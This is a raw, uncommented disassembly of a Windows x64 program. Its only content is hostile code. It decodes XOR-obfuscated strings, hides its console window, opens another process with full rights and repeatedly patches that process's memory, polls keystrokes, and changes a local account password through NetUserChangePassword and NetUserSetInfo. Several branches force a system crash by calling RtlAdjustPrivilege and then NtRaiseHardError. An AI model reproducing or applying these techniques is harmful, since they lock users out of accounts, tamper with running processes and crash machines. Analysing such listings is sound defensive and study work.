call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rbp + 0x291], 0
mov dword [rbp + 0x298], r12d
lea r9, [rbp + 0x291]
xor r8d, r8d
mov dl, 1
mov ecx, 0x13
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea rax, [rbp + 0x298]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc0000006
call qword [sym.imp.ntdll.dll_NtRaiseHardError]
mov rdx, qword [rbp + 0x2b8]
cmp rdx, 7
jbe 0x14000f554
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x2a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f54f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010d94
call fcn.14004e370
mov qword [rbp + 0x2b0], r12
mov qword [rbp + 0x2b8], 7
mov word [rbp + 0x2a0], r12w
mov rdx, qword [rbp + 0x2f8]
cmp rdx, 7
jbe 0x140010682
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x2e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001067c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010a8c
jmp 0x14001067c
mov qword [rbp + 0x280], rbx
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 0x280], r13
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2c8], rax
mov qword [rbp + 0x280], rdi
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 0x280], r13
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2a8], rax
movdqa xmm0, xmmword [rbp + 0x2c0]
xorps xmm0, xmmword [rbp + 0x2a0]
movdqa xmmword [rbp + 0x2c0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x430], xmm0
mov qword [rbp + 0x440], r12
mov qword [rbp + 0x448], r12
lea rax, [rbp + 0x2c0]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000f650
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x430]
call fcn.14001e710
lea rdx, [rbp + 0x430]
lea rcx, [rbp + 0x380]
call fcn.140015070
cmp byte [rax], 4
jne 0x140010d9a
cmp byte [rax + 8], 0
je 0x140010852
movabs rax, 0x369aef56d6ddc6c
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 0x280], r13
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2c8], rax
mov qword [rbp + 0x280], rdi
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 0x280], r13
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2a8], rax
movdqa xmm0, xmmword [rbp + 0x2c0]
xorps xmm0, xmmword [rbp + 0x2a0]
movdqa xmmword [rbp + 0x2c0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x430], xmm0
mov qword [rbp + 0x440], r12
mov qword [rbp + 0x448], r12
lea rax, [rbp + 0x2c0]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000f730
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x430]
call fcn.14001e710
lea rdx, [rbp + 0x430]
lea rcx, [rbp + 0x380]
call fcn.140015070
mov rdx, rax
lea rcx, [rbp + 0x2a0]
call fcn.1400152b0
mov rdx, rax
call fcn.140011820
lea rdx, [0x1400b4178]
lea rcx, [rbp + 0x3b0]
call fcn.140016f80
nop
cmp qword [rbp + 0x3c0], 0
je 0x14001017e
movabs rax, 0x369cb99767fdd67
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 0x280], r13
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2c8], rax
mov qword [rbp + 0x280], rdi
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 0x280], r13
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2a8], rax
movdqa xmm0, xmmword [rbp + 0x2c0]
xorps xmm0, xmmword [rbp + 0x2a0]
movdqa xmmword [rbp + 0x2c0], xmm0
lea rcx, [rbp + 0x2c0]
mov rax, rsi
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x14000f820
lea rcx, [rbp + 0x3b0]
cmp qword [rbp + 0x3c8], 0xf
cmova rcx, qword [rbp + 0x3b0]
mov r8, qword [rbp + 0x3c0]
cmp r8, rax
jne 0x14001152b
lea rdx, [rbp + 0x2c0]
call fcn.140081ac0
test eax, eax
jne 0x14001152b
mov qword [rbp + 0x280], rbx
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 0x280], r13
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2c8], rax
mov qword [rbp + 0x280], rdi
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 0x280], r13
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2a8], rax
movdqa xmm0, xmmword [rbp + 0x2c0]
xorps xmm0, xmmword [rbp + 0x2a0]
movdqa xmmword [rbp + 0x2c0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x430], xmm0
mov qword [rbp + 0x440], r12
mov qword [rbp + 0x448], r12
lea rax, [rbp + 0x2c0]
nop
inc rsi
cmp byte [rax + rsi], 0
jne 0x14000f8f0
mov r8, rsi
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x430]
call fcn.14001e710
lea rdx, [rbp + 0x430]
lea rcx, [rbp + 0x380]
call fcn.140015070
cmp byte [rax], 4
jne 0x140010de0
cmp byte [rax + 8], 0
je 0x14000fcb5
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov r14, rax
movabs rax, 0x339aeb4025fb242
mov qword [rbp + 0x280], rax
mov rcx, qword [rbp + 0x280]
mov qword [rbp + 0x40], rcx
movabs rax, 0x34d37fb7931cb760
mov qword [rbp + 0x280], rax
mov rcx, qword [rbp + 0x280]
mov qword [rbp + 0x48], rcx
movabs rax, 0xf360739111b4e144
mov qword [rbp + 0x280], rax
mov rcx, qword [rbp + 0x280]
mov qword [rbp + 0x50], rcx
movabs rax, 0xf9954b4e45711d44
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x58], rax
mov qword [rbp + 0x280], rdi
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x430], rax
mov qword [rbp + 0x280], r13
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x438], rax
movabs rbx, 0xf30573bf11c7e137
mov qword [rbp + 0x280], rbx
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x440], rax
movabs rsi, 0xf9954b4e45141d3c
mov qword [rbp + 0x280], rsi
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x448], rax
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x430]
vmovdqu ymmword [rbp + 0x40], ymm1
lea rcx, [rbp + 0x40]
vzeroupper
call fcn.140006670
xor edx, edx
test eax, eax
je 0x14001130e
mov r8d, eax
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x1400110eb
mov byte [rbp + 0x291], 1
mov ecx, 0x10
call fcn.14004e46c
lea rcx, [rbp + 0x291]
mov qword [rax], rcx
lea rcx, [0x14000a410]
mov qword [rax + 8], rcx
mov qword [rbp + 0x280], rax
lea rcx, [rbp + 0x2c8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x140029b80]
xor edx, edx
xor ecx, ecx
call fcn.1400612bc
mov qword [rbp + 0x2c0], rax
test rax, rax
je 0x1400110d9
mov qword [rbp + 0x280], r12
call fcn.14000a1c0
movzx r15d, al
mov ecx, r12d
xchg byte [rbp + 0x291], cl
cmp dword [rbp + 0x2c8], 0
je 0x140010e26
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [rbp + 0x2c8], eax
je 0x140010e31
movaps xmm0, xmmword [rbp + 0x2c0]
movdqa xmmword [rbp + 0x30], xmm0
xor edx, edx
lea rcx, [rbp + 0x30]
call fcn.14004dc50
test eax, eax
jne 0x140010e3c
xorps xmm0, xmm0
movaps xmmword [rbp + 0x2c0], xmm0
movdqa xmmword [rbp + 0x2c0], xmm0
xor edx, edx
mov rcx, r14
call qword [sym.imp.USER32.dll_ShowWindow]
test r15b, r15b
je 0x140010e59
mov edx, 0x64
mov ecx, 0x14a
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, 0x96
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x64
mov ecx, 0x188
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, 0x15e
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x64
mov ecx, 0xc4
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, 0x15e
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rbp + 0x290], 1
mov ecx, 0x10
call fcn.14004e46c
lea rcx, [rbp + 0x290]
mov qword [rax], rcx
lea rcx, [0x1400078c0]
mov qword [rax + 8], rcx
mov qword [rbp + 0x360], rax
lea rcx, [rbp + 0x2a8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x140029b80]
xor edx, edx
xor ecx, ecx
call fcn.1400612bc
mov qword [rbp + 0x2a0], rax
test rax, rax
je 0x140010e47
mov ecx, 0x24
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
js 0x140010a92
nop dword [rax + rax]
mov ecx, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x14000fc9c
mov rsi, qword [0x1400b4048]
mov rbx, qword [0x1400b4040]
cmp rbx, rsi
je 0x14000fc57
nop word [rax + rax]
mov qword [rsp + 0x20], r12
mov r9d, 9
lea r8, [0x14009ac70]
mov rdx, qword [rbx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
add rbx, 8
cmp rbx, rsi
jne 0x14000fc30
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rsi, qword [0x1400b4048]
mov rbx, qword [0x1400b4040]
cmp rbx, rsi
je 0x14000fc9c
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [0x14009acd0]
mov rdx, qword [rbx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
add rbx, 8
cmp rbx, rsi
jne 0x14000fc75
mov ecx, 0x24
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
js 0x140010a92
jmp 0x14000fc00
lea rcx, [rbp + 0x2e0]
call fcn.140006410
nop
cmp qword [rbp + 0x2f0], 0
jne 0x14000fd2e
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rbp + 0x290], 0
mov dword [rbp + 0x298], r12d
lea r9, [rbp + 0x290]
xor r8d, r8d
mov dl, 1
mov ecx, 0x13
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea rax, [rbp + 0x298]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc0000006
call qword [sym.imp.ntdll.dll_NtRaiseHardError]
movabs rax, 0x31dae9b0264b261
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x300], rax
movabs rax, 0x34cf7fa69307b74d
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x308], rax
movabs rax, 0xf35a73d011b3e168
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x310], rax
movabs rax, 0xf9f64b2f45661d5f
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x318], rax
movabs rax, 0xa8ca5d1f821c67b2
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x320], rax
movabs rax, 0x86fb37a34701d3e0
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x328], rax
movabs rax, 0xd88a2854090a4354
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x330], rax
movabs rax, 0x6dc86c036637087f
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x338], rax
movabs rdx, 0x2daba6fd11cd530d
mov qword [rbp + 0x280], rdx
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x340], rax
movabs r8, 0x1c676cbc667d903a
mov qword [rbp + 0x280], r8
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x348], rax
mov qword [rbp + 0x280], rdi
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x460], rax
mov qword [rbp + 0x280], r13
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x468], rax
movabs rbx, 0xf30573bf11c7e137
mov qword [rbp + 0x280], rbx
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x470], rax
movabs rsi, 0xf9954b4e45141d3c
mov qword [rbp + 0x280], rsi
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x478], rax
movabs rax, 0xa8955d71827567d9
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x480], rax
movabs rcx, 0x869037c04774d386
mov qword [rbp + 0x280], rcx
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x488], rax
movabs rax, 0xd8ff283b0973430b
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x490], rax
movabs rax, 0x6dac6c6a665c0820
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x498], rax
mov qword [rbp + 0x280], rdx
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x4a0], rax
mov qword [rbp + 0x280], r8
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x4a8], rax
vmovdqu ymm0, ymmword [rbp + 0x300]
vpxor ymm1, ymm0, ymmword [rbp + 0x460]
vmovdqa ymmword [rbp + 0x300], ymm1
vmovdqu ymm0, ymmword [rbp + 0x320]
vpxor ymm1, ymm0, ymmword [rbp + 0x480]
vmovdqa ymmword [rbp + 0x320], ymm1
vmovdqa xmm0, xmmword [rbp + 0x340]
vxorps xmm0, xmm0, xmmword [rbp + 0x4a0]
vmovdqa xmmword [rbp + 0x340], xmm0
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x2a0]
vzeroupper
call fcn.140016ab0
lea r9, [rbp + 0x2a0]
cmp qword [rbp + 0x2b8], 7
cmova r9, qword [rbp + 0x2a0]
lea rdx, [rbp + 0x2e0]
cmp qword [rbp + 0x2f8], 7
cmova rdx, qword [rbp + 0x2e0]
lea r8, [0x1400999bc]
xor ecx, ecx
call qword [sym.imp.NETAPI32.dll_NetUserChangePassword]
test eax, eax
je 0x140010079
cmp eax, 5
je 0x14001001b
cmp eax, 0x56
jne 0x14001006e
lea rax, [rbp + 0x2a0]
cmp qword [rbp + 0x2b8], 7
cmova rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x280], rax
lea rdx, [rbp + 0x2e0]
cmp qword [rbp + 0x2f8], 7
cmova rdx, qword [rbp + 0x2e0]
mov qword [rsp + 0x20], r12
lea r9, [rbp + 0x280]
xor ecx, ecx
mov r8d, 0x3eb
call qword [sym.imp.NETAPI32.dll_NetUserSetInfo]
test eax, eax
je 0x140010079
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rbp + 0x290], 0
mov dword [rbp + 0x298], r12d
lea r9, [rbp + 0x290]
xor r8d, r8d
mov dl, 1
mov ecx, 0x13
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea rax, [rbp + 0x298]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc0000006
call qword [sym.imp.ntdll.dll_NtRaiseHardError]
mov rdx, qword [rbp + 0x2b8]
cmp rdx, 7
jbe 0x140010116
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x2a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010111
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011525
call fcn.14004e370
mov qword [rbp + 0x2b0], r12
mov qword [rbp + 0x2b8], 7
mov word [rbp + 0x2a0], r12w
mov rdx, qword [rbp + 0x2f8]
cmp rdx, 7
jbe 0x140010640
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x2e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001063a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010a9a
jmp 0x14001063a
lea rcx, [rbp + 0x2e0]
call fcn.140006410
nop
cmp qword [rbp + 0x2f0], 0
jne 0x1400101f7
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rbp + 0x290], 0
mov dword [rbp + 0x298], r12d
lea r9, [rbp + 0x290]
xor r8d, r8d
mov dl, 1
mov ecx, 0x13
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea rax, [rbp + 0x298]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc0000006
call qword [sym.imp.ntdll.dll_NtRaiseHardError]
movabs rax, 0x31dae9b0264b261
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x300], rax
movabs rax, 0x34cf7fa69307b74d
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x308], rax
movabs rax, 0xf35a73d011b3e168
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x310], rax
movabs rax, 0xf9f64b2f45661d5f
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x318], rax
movabs rax, 0xa8ca5d1f821c67b2
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x320], rax
movabs rax, 0x86fb37a34701d3e0
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x328], rax
movabs rax, 0xd88a2854090a4354
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x330], rax
movabs rax, 0x6dc86c036637087f
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x338], rax
movabs rdx, 0x2daba6fd11cd530d
mov qword [rbp + 0x280], rdx
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x340], rax
movabs r8, 0x1c676cbc667d903a
mov qword [rbp + 0x280], r8
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x348], rax
mov qword [rbp + 0x280], rdi
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x460], rax
mov qword [rbp + 0x280], r13
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x468], rax
movabs rbx, 0xf30573bf11c7e137
mov qword [rbp + 0x280], rbx
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x470], rax
movabs rsi, 0xf9954b4e45141d3c
mov qword [rbp + 0x280], rsi
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x478], rax
movabs rax, 0xa8955d71827567d9
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x480], rax
movabs rcx, 0x869037c04774d386
mov qword [rbp + 0x280], rcx
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x488], rax
movabs rax, 0xd8ff283b0973430b
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x490], rax
movabs rax, 0x6dac6c6a665c0820
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x498], rax
mov qword [rbp + 0x280], rdx
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x4a0], rax
mov qword [rbp + 0x280], r8
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x4a8], rax
vmovdqu ymm0, ymmword [rbp + 0x300]
vpxor ymm1, ymm0, ymmword [rbp + 0x460]
vmovdqa ymmword [rbp + 0x300], ymm1
vmovdqu ymm0, ymmword [rbp + 0x320]
vpxor ymm1, ymm0, ymmword [rbp + 0x480]
vmovdqa ymmword [rbp + 0x320], ymm1
vmovdqa xmm0, xmmword [rbp + 0x340]
vxorps xmm0, xmm0, xmmword [rbp + 0x4a0]
vmovdqa xmmword [rbp + 0x340], xmm0
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x2a0]
vzeroupper
call fcn.140016ab0
lea r9, [rbp + 0x2a0]
cmp qword [rbp + 0x2b8], 7
cmova r9, qword [rbp + 0x2a0]
lea rdx, [rbp + 0x2e0]
cmp qword [rbp + 0x2f8], 7
cmova rdx, qword [rbp + 0x2e0]
lea r8, [0x1400999bc]
xor ecx, ecx
call qword [sym.imp.NETAPI32.dll_NetUserChangePassword]
test eax, eax
je 0x140010542
cmp eax, 5
je 0x1400104e4
cmp eax, 0x56
jne 0x140010537
lea rax, [rbp + 0x2a0]
cmp qword [rbp + 0x2b8], 7
cmova rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x280], rax
lea rdx, [rbp + 0x2e0]
cmp qword [rbp + 0x2f8], 7
cmova rdx, qword [rbp + 0x2e0]
mov qword [rsp + 0x20], r12
lea r9, [rbp + 0x280]
xor ecx, ecx
mov r8d, 0x3eb
call qword [sym.imp.NETAPI32.dll_NetUserSetInfo]
test eax, eax
je 0x140010542
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rbp + 0x290], 0
mov dword [rbp + 0x298], r12d
lea r9, [rbp + 0x290]
xor r8d, r8d
mov dl, 1
mov ecx, 0x13
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea rax, [rbp + 0x298]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc0000006
call qword [sym.imp.ntdll.dll_NtRaiseHardError]
mov rdx, qword [rbp + 0x2b8]
cmp rdx, 7
jbe 0x1400105df
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x2a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400105da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001154f
call fcn.14004e370
mov qword [rbp + 0x2b0], r12
mov qword [rbp + 0x2b8], 7
mov word [rbp + 0x2a0], r12w
mov rdx, qword [rbp + 0x2f8]
cmp rdx, 7
jbe 0x140010640
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x2e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001063a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011555
call fcn.14004e370
nop
mov rdx, qword [rbp + 0x3c8]
cmp rdx, 0xf
jbe 0x140010682
inc rdx
mov rcx, qword [rbp + 0x3b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001067c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001155b
call fcn.14004e370
nop
movzx edx, byte [rbp + 0x380]
lea rcx, [rbp + 0x388]
call fcn.14001a0b0
nop
mov rdx, qword [rbp + 0x3a8]
cmp rdx, 0xf
jbe 0x1400106d7
inc rdx
mov rcx, qword [rbp + 0x390]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400106d2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011561
call fcn.14004e370
mov qword [rbp + 0x3a0], r12
mov qword [rbp + 0x3a8], 0xf
mov byte [rbp + 0x390], 0
mov rdx, qword [rbp + 0x408]
cmp rdx, 0xf
jbe 0x140010732
inc rdx
mov rcx, qword [rbp + 0x3f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001072c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011567
call fcn.14004e370
nop
mov rdx, qword [rbp + 0x428]
cmp rdx, 0xf
jbe 0x140010774
inc rdx
mov rcx, qword [rbp + 0x410]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001076e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001156d
call fcn.14004e370
nop
mov rdx, qword [rbp + 0x3e8]
cmp rdx, 0xf
jbe 0x1400107b5
inc rdx
mov rcx, qword [rbp + 0x3d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400107b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011573
call fcn.14004e370
mov qword [rbp + 0x3e0], r12
mov qword [rbp + 0x3e8], 0xf
mov byte [rbp + 0x3d0], 0
mov rdx, qword [r15 + 0x18]
cmp rdx, 0xf
jbe 0x140010808
inc rdx
mov rcx, qword [r15]
cmp rdx, 0x1000
jb 0x140010803
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140011579
mov rcx, r8
call fcn.14004e370
mov qword [r15 + 0x10], r12
mov qword [r15 + 0x18], 0xf
mov byte [r15], 0
mov rcx, qword [rbp + 0x4c0]
xor rcx, rsp
call fcn.14004e350
lea r11, [rsp + 0x540]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
nop
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
movabs rax, 0x369aef50279b240
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 0x280], r13
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2c8], rax
mov qword [rbp + 0x280], rdi
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 0x280], r13
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2a8], rax
movdqa xmm0, xmmword [rbp + 0x2c0]
xorps xmm0, xmmword [rbp + 0x2a0]
movdqa xmmword [rbp + 0x2c0], xmm0
movabs rax, 0x308ae900267b255
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x300], rax
movabs rax, 0x34f97ff49316b761
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x308], rax
movabs rax, 0xf32573d111a2e147
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x310], rax
movabs rax, 0xf9f04b38457d1d7a
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x318], rax
movabs rax, 0xa8955d7182756794
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x320], rax
movabs rcx, 0x869037c04774d386
mov qword [rbp + 0x280], rcx
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x328], rax
mov qword [rbp + 0x280], rdi
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x460], rax
mov qword [rbp + 0x280], r13
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x468], rax
movabs rbx, 0xf30573bf11c7e137
mov qword [rbp + 0x280], rbx
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x470], rax
movabs rsi, 0xf9954b4e45141d3c
mov qword [rbp + 0x280], rsi
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x478], rax
movabs rax, 0xa8955d71827567d9
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x480], rax
mov qword [rbp + 0x280], rcx
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x488], rax
vmovdqu ymm0, ymmword [rbp + 0x460]
vpxor ymm1, ymm0, ymmword [rbp + 0x300]
vmovdqa ymmword [rbp + 0x300], ymm1
vmovdqa xmm2, xmmword [rbp + 0x320]
